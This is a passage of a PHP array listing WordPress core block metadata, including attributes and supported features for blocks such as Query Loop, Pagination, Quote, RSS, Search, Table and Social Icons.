    'editorStyle' => 'wp-block-pullquote-editor',
    'style' => 'wp-block-pullquote'
  ),
  'query' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/query',
    'title' => 'Query Loop',
    'category' => 'theme',
    'description' => 'An advanced block that allows displaying post types based on different query parameters and visual configurations.',
    'textdomain' => 'default',
    'attributes' => array(
      'queryId' => array(
        'type' => 'number'
      ),
      'query' => array(
        'type' => 'object',
        'default' => array(
          'perPage' => null,
          'pages' => 0,
          'offset' => 0,
          'postType' => 'post',
          'order' => 'desc',
          'orderBy' => 'date',
          'author' => '',
          'search' => '',
          'exclude' => array(
            
          ),
          'sticky' => '',
          'inherit' => true,
          'taxQuery' => null,
          'parents' => array(
            
          )
        )
      ),
      'tagName' => array(
        'type' => 'string',
        'default' => 'div'
      ),
      'namespace' => array(
        'type' => 'string'
      ),
      'enhancedPagination' => array(
        'type' => 'boolean',
        'default' => false
      )
    ),
    'providesContext' => array(
      'queryId' => 'queryId',
      'query' => 'query',
      'displayLayout' => 'displayLayout',
      'enhancedPagination' => 'enhancedPagination'
    ),
    'supports' => array(
      'align' => array(
        'wide',
        'full'
      ),
      'html' => false,
      'layout' => true,
      'interactivity' => true
    ),
    'editorStyle' => 'wp-block-query-editor'
  ),
  'query-no-results' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/query-no-results',
    'title' => 'No results',
    'category' => 'theme',
    'description' => 'Contains the block elements used to render content when no query results are found.',
    'parent' => array(
      'core/query'
    ),
    'textdomain' => 'default',
    'usesContext' => array(
      'queryId',
      'query'
    ),
    'supports' => array(
      'align' => true,
      'reusable' => false,
      'html' => false,
      'color' => array(
        'gradients' => true,
        'link' => true
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    )
  ),
  'query-pagination' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/query-pagination',
    'title' => 'Pagination',
    'category' => 'theme',
    'ancestor' => array(
      'core/query'
    ),
    'allowedBlocks' => array(
      'core/query-pagination-previous',
      'core/query-pagination-numbers',
      'core/query-pagination-next'
    ),
    'description' => 'Displays a paginated navigation to next/previous set of posts, when applicable.',
    'textdomain' => 'default',
    'attributes' => array(
      'paginationArrow' => array(
        'type' => 'string',
        'default' => 'none'
      ),
      'showLabel' => array(
        'type' => 'boolean',
        'default' => true
      )
    ),
    'usesContext' => array(
      'queryId',
      'query'
    ),
    'providesContext' => array(
      'paginationArrow' => 'paginationArrow',
      'showLabel' => 'showLabel'
    ),
    'supports' => array(
      'align' => true,
      'reusable' => false,
      'html' => false,
      'color' => array(
        'gradients' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true,
          'link' => true
        )
      ),
      'layout' => array(
        'allowSwitching' => false,
        'allowInheriting' => false,
        'default' => array(
          'type' => 'flex'
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-query-pagination-editor',
    'style' => 'wp-block-query-pagination'
  ),
  'query-pagination-next' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/query-pagination-next',
    'title' => 'Next Page',
    'category' => 'theme',
    'parent' => array(
      'core/query-pagination'
    ),
    'description' => 'Displays the next posts page link.',
    'textdomain' => 'default',
    'attributes' => array(
      'label' => array(
        'type' => 'string'
      )
    ),
    'usesContext' => array(
      'queryId',
      'query',
      'paginationArrow',
      'showLabel',
      'enhancedPagination'
    ),
    'supports' => array(
      'reusable' => false,
      'html' => false,
      'color' => array(
        'gradients' => true,
        'text' => false,
        '__experimentalDefaultControls' => array(
          'background' => true
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    )
  ),
  'query-pagination-numbers' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/query-pagination-numbers',
    'title' => 'Page Numbers',
    'category' => 'theme',
    'parent' => array(
      'core/query-pagination'
    ),
    'description' => 'Displays a list of page numbers for pagination.',
    'textdomain' => 'default',
    'attributes' => array(
      'midSize' => array(
        'type' => 'number',
        'default' => 2
      )
    ),
    'usesContext' => array(
      'queryId',
      'query',
      'enhancedPagination'
    ),
    'supports' => array(
      'reusable' => false,
      'html' => false,
      'color' => array(
        'gradients' => true,
        'text' => false,
        '__experimentalDefaultControls' => array(
          'background' => true
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-query-pagination-numbers-editor'
  ),
  'query-pagination-previous' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/query-pagination-previous',
    'title' => 'Previous Page',
    'category' => 'theme',
    'parent' => array(
      'core/query-pagination'
    ),
    'description' => 'Displays the previous posts page link.',
    'textdomain' => 'default',
    'attributes' => array(
      'label' => array(
        'type' => 'string'
      )
    ),
    'usesContext' => array(
      'queryId',
      'query',
      'paginationArrow',
      'showLabel',
      'enhancedPagination'
    ),
    'supports' => array(
      'reusable' => false,
      'html' => false,
      'color' => array(
        'gradients' => true,
        'text' => false,
        '__experimentalDefaultControls' => array(
          'background' => true
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    )
  ),
  'query-title' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/query-title',
    'title' => 'Query Title',
    'category' => 'theme',
    'description' => 'Display the query title.',
    'textdomain' => 'default',
    'attributes' => array(
      'type' => array(
        'type' => 'string'
      ),
      'textAlign' => array(
        'type' => 'string'
      ),
      'level' => array(
        'type' => 'number',
        'default' => 1
      ),
      'showPrefix' => array(
        'type' => 'boolean',
        'default' => true
      ),
      'showSearchTerm' => array(
        'type' => 'boolean',
        'default' => true
      )
    ),
    'supports' => array(
      'align' => array(
        'wide',
        'full'
      ),
      'html' => false,
      'color' => array(
        'gradients' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      'spacing' => array(
        'margin' => true,
        'padding' => true
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontStyle' => true,
        '__experimentalFontWeight' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'style' => 'wp-block-query-title'
  ),
  'quote' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/quote',
    'title' => 'Quote',
    'category' => 'text',
    'description' => 'Give quoted text visual emphasis. "In quoting others, we cite ourselves." — Julio Cortázar',
    'keywords' => array(
      'blockquote',
      'cite'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'value' => array(
        'type' => 'string',
        'source' => 'html',
        'selector' => 'blockquote',
        'multiline' => 'p',
        'default' => '',
        '__experimentalRole' => 'content'
      ),
      'citation' => array(
        'type' => 'rich-text',
        'source' => 'rich-text',
        'selector' => 'cite',
        '__experimentalRole' => 'content'
      ),
      'align' => array(
        'type' => 'string'
      )
    ),
    'supports' => array(
      'anchor' => true,
      'html' => false,
      '__experimentalOnEnter' => true,
      '__experimentalOnMerge' => true,
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'color' => array(
        'gradients' => true,
        'heading' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      'layout' => array(
        'allowEditing' => false
      ),
      'spacing' => array(
        'blockGap' => true
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'styles' => array(
      array(
        'name' => 'default',
        'label' => 'Default',
        'isDefault' => true
      ),
      array(
        'name' => 'plain',
        'label' => 'Plain'
      )
    ),
    'editorStyle' => 'wp-block-quote-editor',
    'style' => 'wp-block-quote'
  ),
  'read-more' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/read-more',
    'title' => 'Read More',
    'category' => 'theme',
    'description' => 'Displays the link of a post, page, or any other content-type.',
    'textdomain' => 'default',
    'attributes' => array(
      'content' => array(
        'type' => 'string'
      ),
      'linkTarget' => array(
        'type' => 'string',
        'default' => '_self'
      )
    ),
    'usesContext' => array(
      'postId'
    ),
    'supports' => array(
      'html' => false,
      'color' => array(
        'gradients' => true,
        'text' => true
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true,
          'textDecoration' => true
        )
      ),
      'spacing' => array(
        'margin' => array(
          'top',
          'bottom'
        ),
        'padding' => true,
        '__experimentalDefaultControls' => array(
          'padding' => true
        )
      ),
      '__experimentalBorder' => array(
        'color' => true,
        'radius' => true,
        'width' => true,
        '__experimentalDefaultControls' => array(
          'width' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'style' => 'wp-block-read-more'
  ),
  'rss' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/rss',
    'title' => 'RSS',
    'category' => 'widgets',
    'description' => 'Display entries from any RSS or Atom feed.',
    'keywords' => array(
      'atom',
      'feed'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'columns' => array(
        'type' => 'number',
        'default' => 2
      ),
      'blockLayout' => array(
        'type' => 'string',
        'default' => 'list'
      ),
      'feedURL' => array(
        'type' => 'string',
        'default' => ''
      ),
      'itemsToShow' => array(
        'type' => 'number',
        'default' => 5
      ),
      'displayExcerpt' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'displayAuthor' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'displayDate' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'excerptLength' => array(
        'type' => 'number',
        'default' => 55
      )
    ),
    'supports' => array(
      'align' => true,
      'html' => false,
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-rss-editor',
    'style' => 'wp-block-rss'
  ),
  'search' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/search',
    'title' => 'Search',
    'category' => 'widgets',
    'description' => 'Help visitors find your content.',
    'keywords' => array(
      'find'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'label' => array(
        'type' => 'string',
        '__experimentalRole' => 'content'
      ),
      'showLabel' => array(
        'type' => 'boolean',
        'default' => true
      ),
      'placeholder' => array(
        'type' => 'string',
        'default' => '',
        '__experimentalRole' => 'content'
      ),
      'width' => array(
        'type' => 'number'
      ),
      'widthUnit' => array(
        'type' => 'string'
      ),
      'buttonText' => array(
        'type' => 'string',
        '__experimentalRole' => 'content'
      ),
      'buttonPosition' => array(
        'type' => 'string',
        'default' => 'button-outside'
      ),
      'buttonUseIcon' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'query' => array(
        'type' => 'object',
        'default' => array(
          
        )
      ),
      'isSearchFieldHidden' => array(
        'type' => 'boolean',
        'default' => false
      )
    ),
    'supports' => array(
      'align' => array(
        'left',
        'center',
        'right'
      ),
      'color' => array(
        'gradients' => true,
        '__experimentalSkipSerialization' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      'interactivity' => true,
      'typography' => array(
        '__experimentalSkipSerialization' => true,
        '__experimentalSelector' => '.wp-block-search__label, .wp-block-search__input, .wp-block-search__button',
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      '__experimentalBorder' => array(
        'color' => true,
        'radius' => true,
        'width' => true,
        '__experimentalSkipSerialization' => true,
        '__experimentalDefaultControls' => array(
          'color' => true,
          'radius' => true,
          'width' => true
        )
      ),
      'html' => false
    ),
    'editorStyle' => 'wp-block-search-editor',
    'style' => 'wp-block-search'
  ),
  'separator' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/separator',
    'title' => 'Separator',
    'category' => 'design',
    'description' => 'Create a break between ideas or sections with a horizontal separator.',
    'keywords' => array(
      'horizontal-line',
      'hr',
      'divider'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'opacity' => array(
        'type' => 'string',
        'default' => 'alpha-channel'
      )
    ),
    'supports' => array(
      'anchor' => true,
      'align' => array(
        'center',
        'wide',
        'full'
      ),
      'color' => array(
        'enableContrastChecker' => false,
        '__experimentalSkipSerialization' => true,
        'gradients' => true,
        'background' => true,
        'text' => false,
        '__experimentalDefaultControls' => array(
          'background' => true
        )
      ),
      'spacing' => array(
        'margin' => array(
          'top',
          'bottom'
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'styles' => array(
      array(
        'name' => 'default',
        'label' => 'Default',
        'isDefault' => true
      ),
      array(
        'name' => 'wide',
        'label' => 'Wide Line'
      ),
      array(
        'name' => 'dots',
        'label' => 'Dots'
      )
    ),
    'editorStyle' => 'wp-block-separator-editor',
    'style' => 'wp-block-separator'
  ),
  'shortcode' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/shortcode',
    'title' => 'Shortcode',
    'category' => 'widgets',
    'description' => 'Insert additional custom elements with a WordPress shortcode.',
    'textdomain' => 'default',
    'attributes' => array(
      'text' => array(
        'type' => 'string',
        'source' => 'raw'
      )
    ),
    'supports' => array(
      'className' => false,
      'customClassName' => false,
      'html' => false
    ),
    'editorStyle' => 'wp-block-shortcode-editor'
  ),
  'site-logo' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/site-logo',
    'title' => 'Site Logo',
    'category' => 'theme',
    'description' => 'Display an image to represent this site. Update this block and the changes apply everywhere.',
    'textdomain' => 'default',
    'attributes' => array(
      'width' => array(
        'type' => 'number'
      ),
      'isLink' => array(
        'type' => 'boolean',
        'default' => true
      ),
      'linkTarget' => array(
        'type' => 'string',
        'default' => '_self'
      ),
      'shouldSyncIcon' => array(
        'type' => 'boolean'
      )
    ),
    'example' => array(
      'viewportWidth' => 500,
      'attributes' => array(
        'width' => 350,
        'className' => 'block-editor-block-types-list__site-logo-example'
      )
    ),
    'supports' => array(
      'html' => false,
      'align' => true,
      'alignWide' => false,
      'color' => array(
        '__experimentalDuotone' => 'img, .components-placeholder__illustration, .components-placeholder::before',
        'text' => false,
        'background' => false
      ),
      'spacing' => array(
        'margin' => true,
        'padding' => true,
        '__experimentalDefaultControls' => array(
          'margin' => false,
          'padding' => false
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'styles' => array(
      array(
        'name' => 'default',
        'label' => 'Default',
        'isDefault' => true
      ),
      array(
        'name' => 'rounded',
        'label' => 'Rounded'
      )
    ),
    'editorStyle' => 'wp-block-site-logo-editor',
    'style' => 'wp-block-site-logo'
  ),
  'site-tagline' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/site-tagline',
    'title' => 'Site Tagline',
    'category' => 'theme',
    'description' => 'Describe in a few words what the site is about. The tagline can be used in search results or when sharing on social networks even if it’s not displayed in the theme design.',
    'keywords' => array(
      'description'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'textAlign' => array(
        'type' => 'string'
      )
    ),
    'example' => array(
      
    ),
    'supports' => array(
      'align' => array(
        'wide',
        'full'
      ),
      'html' => false,
      'color' => array(
        'gradients' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      'spacing' => array(
        'margin' => true,
        'padding' => true,
        '__experimentalDefaultControls' => array(
          'margin' => false,
          'padding' => false
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalFontStyle' => true,
        '__experimentalFontWeight' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-site-tagline-editor'
  ),
  'site-title' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/site-title',
    'title' => 'Site Title',
    'category' => 'theme',
    'description' => 'Displays the name of this site. Update the block, and the changes apply everywhere it’s used. This will also appear in the browser title bar and in search results.',
    'textdomain' => 'default',
    'attributes' => array(
      'level' => array(
        'type' => 'number',
        'default' => 1
      ),
      'textAlign' => array(
        'type' => 'string'
      ),
      'isLink' => array(
        'type' => 'boolean',
        'default' => true
      ),
      'linkTarget' => array(
        'type' => 'string',
        'default' => '_self'
      )
    ),
    'example' => array(
      'viewportWidth' => 500
    ),
    'supports' => array(
      'align' => array(
        'wide',
        'full'
      ),
      'html' => false,
      'color' => array(
        'gradients' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true,
          'link' => true
        )
      ),
      'spacing' => array(
        'padding' => true,
        'margin' => true,
        '__experimentalDefaultControls' => array(
          'margin' => false,
          'padding' => false
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalFontStyle' => true,
        '__experimentalFontWeight' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-site-title-editor',
    'style' => 'wp-block-site-title'
  ),
  'social-link' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/social-link',
    'title' => 'Social Icon',
    'category' => 'widgets',
    'parent' => array(
      'core/social-links'
    ),
    'description' => 'Display an icon linking to a social media profile or site.',
    'textdomain' => 'default',
    'attributes' => array(
      'url' => array(
        'type' => 'string'
      ),
      'service' => array(
        'type' => 'string'
      ),
      'label' => array(
        'type' => 'string'
      ),
      'rel' => array(
        'type' => 'string'
      )
    ),
    'usesContext' => array(
      'openInNewTab',
      'showLabels',
      'iconColor',
      'iconColorValue',
      'iconBackgroundColor',
      'iconBackgroundColorValue'
    ),
    'supports' => array(
      'reusable' => false,
      'html' => false,
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-social-link-editor'
  ),
  'social-links' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/social-links',
    'title' => 'Social Icons',
    'category' => 'widgets',
    'allowedBlocks' => array(
      'core/social-link'
    ),
    'description' => 'Display icons linking to your social media profiles or sites.',
    'keywords' => array(
      'links'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'iconColor' => array(
        'type' => 'string'
      ),
      'customIconColor' => array(
        'type' => 'string'
      ),
      'iconColorValue' => array(
        'type' => 'string'
      ),
      'iconBackgroundColor' => array(
        'type' => 'string'
      ),
      'customIconBackgroundColor' => array(
        'type' => 'string'
      ),
      'iconBackgroundColorValue' => array(
        'type' => 'string'
      ),
      'openInNewTab' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'showLabels' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'size' => array(
        'type' => 'string'
      )
    ),
    'providesContext' => array(
      'openInNewTab' => 'openInNewTab',
      'showLabels' => 'showLabels',
      'iconColor' => 'iconColor',
      'iconColorValue' => 'iconColorValue',
      'iconBackgroundColor' => 'iconBackgroundColor',
      'iconBackgroundColorValue' => 'iconBackgroundColorValue'
    ),
    'supports' => array(
      'align' => array(
        'left',
        'center',
        'right'
      ),
      'anchor' => true,
      '__experimentalExposeControlsToChildren' => true,
      'layout' => array(
        'allowSwitching' => false,
        'allowInheriting' => false,
        'allowVerticalAlignment' => false,
        'default' => array(
          'type' => 'flex'
        )
      ),
      'color' => array(
        'enableContrastChecker' => false,
        'background' => true,
        'gradients' => true,
        'text' => false,
        '__experimentalDefaultControls' => array(
          'background' => false
        )
      ),
      'spacing' => array(
        'blockGap' => array(
          'horizontal',
          'vertical'
        ),
        'margin' => true,
        'padding' => true,
        'units' => array(
          'px',
          'em',
          'rem',
          'vh',
          'vw'
        ),
        '__experimentalDefaultControls' => array(
          'blockGap' => true,
          'margin' => true,
          'padding' => false
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'styles' => array(
      array(
        'name' => 'default',
        'label' => 'Default',
        'isDefault' => true
      ),
      array(
        'name' => 'logos-only',
        'label' => 'Logos Only'
      ),
      array(
        'name' => 'pill-shape',
        'label' => 'Pill Shape'
      )
    ),
    'editorStyle' => 'wp-block-social-links-editor',
    'style' => 'wp-block-social-links'
  ),
  'spacer' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/spacer',
    'title' => 'Spacer',
    'category' => 'design',
    'description' => 'Add white space between blocks and customize its height.',
    'textdomain' => 'default',
    'attributes' => array(
      'height' => array(
        'type' => 'string',
        'default' => '100px'
      ),
      'width' => array(
        'type' => 'string'
      )
    ),
    'usesContext' => array(
      'orientation'
    ),
    'supports' => array(
      'anchor' => true,
      'spacing' => array(
        'margin' => array(
          'top',
          'bottom'
        ),
        '__experimentalDefaultControls' => array(
          'margin' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-spacer-editor',
    'style' => 'wp-block-spacer'
  ),
  'table' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/table',
    'title' => 'Table',
    'category' => 'text',
    'description' => 'Create structured content in rows and columns to display information.',
    'textdomain' => 'default',
    'attributes' => array(
      'hasFixedLayout' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'caption' => array(
        'type' => 'rich-text',
        'source' => 'rich-text',
        'selector' => 'figcaption'
      ),
      'head' => array(
        'type' => 'array',
        'default' => array(
          
        ),
        'source' => 'query',
        'selector' => 'thead tr',
        'query' => array(
          'cells' => array(
            'type' => 'array',
            'default' => array(
              
            ),
            'source' => 'query',
            'selector' => 'td,th',
            'query' => array(
              'content' => array(
                'type' => 'rich-text',
                'source' => 'rich-text'
              ),
              'tag' => array(
                'type' => 'string',
                'default' => 'td',
                'source' => 'tag'
              ),
              'scope' => array(
                'type' => 'string',
                'source' => 'attribute',
                'attribute' => 'scope'
              ),
              'align' => array(
                'type' => 'string',
                'source' => 'attribute',
                'attribute' => 'data-align'
              ),
              'colspan' => array(
                'type' => 'string',
                'source' => 'attribute',
                'attribute' => 'colspan'
              ),
              'rowspan' => array(
                'type' => 'string',
                'source' => 'attribute',
                'attribute' => 'rowspan'
              )
            )
          )
        )
      ),
      'body' => array(
        'type' => 'array',
        'default' => array(
          
        ),
        'source' => 'query',
        'selector' => 'tbody tr',
        'query' => array(
          'cells' => array(
            'type' => 'array',
            'default' => array(
              
            ),
            'source' => 'query',
            'selector' => 'td,th',
            'query' => array(
              'content' => array(
                'type' => 'rich-text',
                'source' => 'rich-text'
              ),
              'tag' => array(
                'type' => 'string',
                'default' => 'td',
                'source' => 'tag'
              ),
              'scope' => array(
                'type' => 'string',
                'source' => 'attribute',
                'attribute' => 'scope'
              ),
              'align' => array(
                'type' => 'string',
                'source' => 'attribute',
                'attribute' => 'data-align'
              ),
              'colspan' => array(
                'type' => 'string',
                'source' => 'attribute',
                'attribute' => 'colspan'
              ),
              'rowspan' => array(
                'type' => 'string',
                'source' => 'attribute',
                'attribute' => 'rowspan'
              )
            )
          )
        )
      ),
      'foot' => array(
        'type' => 'array',
        'default' => array(
          
        ),
        'source' => 'query',
        'selector' => 'tfoot tr',
        'query' => array(
          'cells' => array(
            'type' => 'array',
            'default' => array(
              
            ),
            'source' => 'query',
            'selector' => 'td,th',
            'query' => array(
              'content' => array(
                'type' => 'rich-text',
                'source' => 'rich-text'
              ),
              'tag' => array(
                'type' => 'string',
                'default' => 'td',
                'source' => 'tag'
              ),
              'scope' => array(
                'type' => 'string',
                'source' => 'attribute',
                'attribute' => 'scope'
              ),
              'align' => array(
                'type' => 'string',
                'source' => 'attribute',
                'attribute' => 'data-align'
              ),
              'colspan' => array(
                'type' => 'string',
                'source' => 'attribute',
                'attribute' => 'colspan'
              ),
              'rowspan' => array(
                'type' => 'string',
                'source' => 'attribute',
                'attribute' => 'rowspan'
              )
            )
          )
        )
      )
    ),
    'supports' => array(
      'anchor' => true,
      'align' => true,
      'color' => array(
        '__experimentalSkipSerialization' => true,
        'gradients' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      'spacing' => array(
        'margin' => true,
        'padding' => true,
        '__experimentalDefaultControls' => array(
          'margin' => false,
          'padding' => false
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontStyle' => true,
        '__experimentalFontWeight' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      '__experimentalBorder' => array(
        '__experimentalSkipSerialization' => true,
        'color' => true,
        'style' => true,
        'width' => true,
        '__experimentalDefaultControls' => array(
          'color' => true,
          'style' => true,
          'width' => true
        )
      ),
      '__experimentalSelector' => '.wp-block-table > table',
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'styles' => array(
      array(
        'name' => 'regular',
        'label' => 'Default',
        'isDefault' => true
      ),
      array(
        'name' => 'stripes',
        'label' => 'Stripes'
      )
    ),
    'editorStyle' => 'wp-block-table-editor',
    'style' => 'wp-block-table'
  ),
  'tag-cloud' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/tag-cloud',
    'title' => 'Tag Cloud',
    'category' => 'widgets',
    'description' => 'A cloud of your most used tags.',
    'textdomain' => 'default',
    'attributes' => array(
      'numberOfTags' => array(
        'type' => 'number',
        'default' => 45,
        'minimum' => 1,
        'maximum' => 100
      ),
      'taxonomy' => array(
        'type' => 'string',
        'default' => 'post_tag'
      ),
      'showTagCounts' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'smallestFontSize' => array(
        'type' => 'string',
        'default' => '8pt'
      ),
      'largestFontSize' => array(
        'type' => 'string',
        'default' => '22pt'
      )
    ),
    'styles' => array(
      array(
        'name' => 'default',
        'label' => 'Default',
        'isDefault' => true
      ),
      array(
        'name' => 'outline',
        'label' => 'Outline'
      )
    ),
    'supports' => array(
      'html' => false,
      'align' => true,
      'spacing' => array(
        'margin' => true,
        'padding' => true
      ),
      'typography' => array(
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalLetterSpacing' => true
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-tag-cloud-editor'
  ),
  'template-part' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
